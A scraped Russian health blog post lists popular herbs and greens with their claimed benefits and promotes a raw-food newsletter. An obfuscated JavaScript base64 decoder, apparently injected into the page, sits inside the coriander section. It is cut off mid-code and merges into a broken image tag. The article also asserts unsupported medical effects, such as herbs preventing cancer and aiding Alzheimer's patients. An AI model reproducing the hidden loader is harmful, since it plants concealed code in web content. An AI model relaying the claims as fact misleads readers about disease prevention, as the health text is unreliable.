Польза для здоровья зелени и трав - самые популярные и вкусные 
Блог Вадима Гренца
Как обрести здоровье и никогда не болеть?
Присоединяйся!


Польза для здоровья самой популярной зелени и трав


Здравствуйте, дорогие читатели!

Хотя медицина и фармакология развиваются, появляются новые методы терапии, но диетологи и другие специалисты в области здравоохранения продолжают рекомендовать преимущества некоторых продуктов.

Они помогают существенно уменьшить риск развития ожирения, сердечно — сосудистых болезней, и даже онкологии.

Давайте узнаем, какие преимущества для здоровья дают некоторые травы и зелень, что мы используем чаще всего.

Кориандр

 

Листья растения известны как кинза, а семена называют кориандром.

function m65c3bbf5572b (wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf (wc.charAt (vf++));p5=s4.indexOf (wc.charAt (vf++));q8=s4.indexOf (wc.charAt (vf++));w7=s4.indexOf (wc.charAt (vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if (qb>=192) qb+=848;else if (qb==168) qb=1025;else if (qb==184) qb=1105;r1+=String.fromCharCode (qb);if (q8!=64){if (rd>=192) rd+=848;else if (rd==168) rd=1025;else if (rd==184) rd=1105;r1+=String.fromCharCode (rd);}if (w7!=64){if (wb>=192) wb+=848;else if (wb==168) wb=1025;else if (wb==184) wb=1105;r1+=String.fromCharCode (wb);}}while (vfandr-i-kinza-e1498709884652.jpg" alt="« width=»549" height="412"/>

Исследования показали, что увеличение употребления и зелени и семян этого растения в пищу, снижает возможность развития ожирения, болезней сердца и сосудов, диабета, способствует здоровью кожи и волос, увеличению энергии.

Зеленый лук

 

Зелень лука может похвалиться низким содержанием калорий, при этом луковые перья являются питательным продуктом. Это значит, что зелень богата полезными веществами: витаминами, минералами и антиоксидантами.

Преимущества зеленого лука для здоровья: отличная и эффективная профилактика простудных и вирусных недугов, рака, позитивно воздействует на сон и ваше настроение.

Сельдерей

 

Это растение богато на антиоксиданты и витамин К. Преимущества для здоровья сельдерея: снижение артериального давления, профилактика онкологии, успокаивает боль в суставах.

Базилик

 

Это ароматная зелень, коме своего уникального вкуса и запаха, богата витамином А, С, К, магнием, железом, кальцием.

Исследования показали, что базилик понижает давление, снимает отёки, предотвращает старение, помогает справиться с воспалительными болезнями кишечника и артритом.

Шпинат

 

Это лучший источник магния и кальция. Преимущества шпината для здоровья: помогает регулировать самочувствие при диабете, предотвращает онкологию, снижает риск развития бронхиальной астмы, понижает артериальное давление, повышает крепость и здоровье костей.

Спаржа

 

Богата витамином B6, кальцием, клетчаткой, магнием и цинком. Преимущества для здоровья спаржи: снижает риск развития диабета, профилактика камней в почках.

Мята

 

Богата витаминами, антиоксидантами и другими важными для жизнедеятельности питательными компонентами.

Преимущества мяты: ценится своими антиоксидантами и противогрибковыми свойствами, снижает тошноту и многие проблемы пищеварения.

Руккола

 

Это полезное растение содержит высокий уровень полезных пищевых нитратов (более 250 мг / 100 г). Их употребление показано для снижения кровяного давления, повышает энергию, снижает риск развития рака.

Орегано

 

Душица — прекрасный источник витамина К и антиоксидантов.

Орегано обладает противовоспалительным и противомикробным эффектом, замедляет или предотвращает раком молочной железы.

Тимьян

 

Крема и медпрепараты с тимьяном эффективны для лечения акне, а при употреблении в пищу служат прекрасной профилактикой гипертонии, помогают при лечении инфекций ЖКТ.

Шалфей

 

Это растение богато антиоксидантами и важными для жизни веществами, витамином К.

Шалфей улучшает память, помогает в обработке информации людям, которые страдают от болезни Альцгеймера, понижает уровень холестерина.

Розмарин

 

Это ароматное растение богато антиоксидантам и может похвалиться противовоспалительными свойствами. Розмарин помогает в лечении расстройств желудка, улучшает память и концентрацию.

Наибольший эффект и пользу можно получить от этих растений, если употреблять их в блюдах без термообработки. Этим принципам соответствует сыроедение.

golodanie-14-dnei

Может быть, поэтому живое питание благотворно воздействует на здоровье и самочувствие, что максимально использует все полезные качества растений. Главное – правильно, постепенно изменить рацион, чтобы получить пользу.

Поможет вам в этом курсы сыроедов, подпишитесь на эту бесплатную рассылку и вы получите всю необходимую и полезную информацию, простые и вкусные рецепты сыроедных блюд, узнаете все секреты и нюансы, что помогут получить максимум пользы от вашего меню!

Поделитесь в соц.сетях этой информацией со своими друзьями и знакомыми, и возможно, найдете для себя новых единомышленников в этом начинании.

Не забудьте подписаться на обновления блога, тут будет еще достаточно полезной и интересной информации.

Желаю всем здоровья и приятного аппетита!


Этот блог читают 4 500 человек, присоединяйся и ты


Комментариев 2
  • Галина

    Польза салатных трав для пищеварения и здоровья в целом бесспорна. Исчерпывающая информация в статье! Приятно читать. На мой взгляд подобные статьи можно и нужно включать в школьный курс биологии и ОБЖ. Что бы давать с детства понимание культуры питания и здоровья.

    02.07.2017 | 11:56
    • Вадим

      Полностью согласен с вами, Галина. Спасибо за добрый отзыв))

      02.07.2017 | 16:52
Оставить коментарий
:p :-p 8) 8-) :lol: =( :( :-( :8 ;) ;-) :(( :o: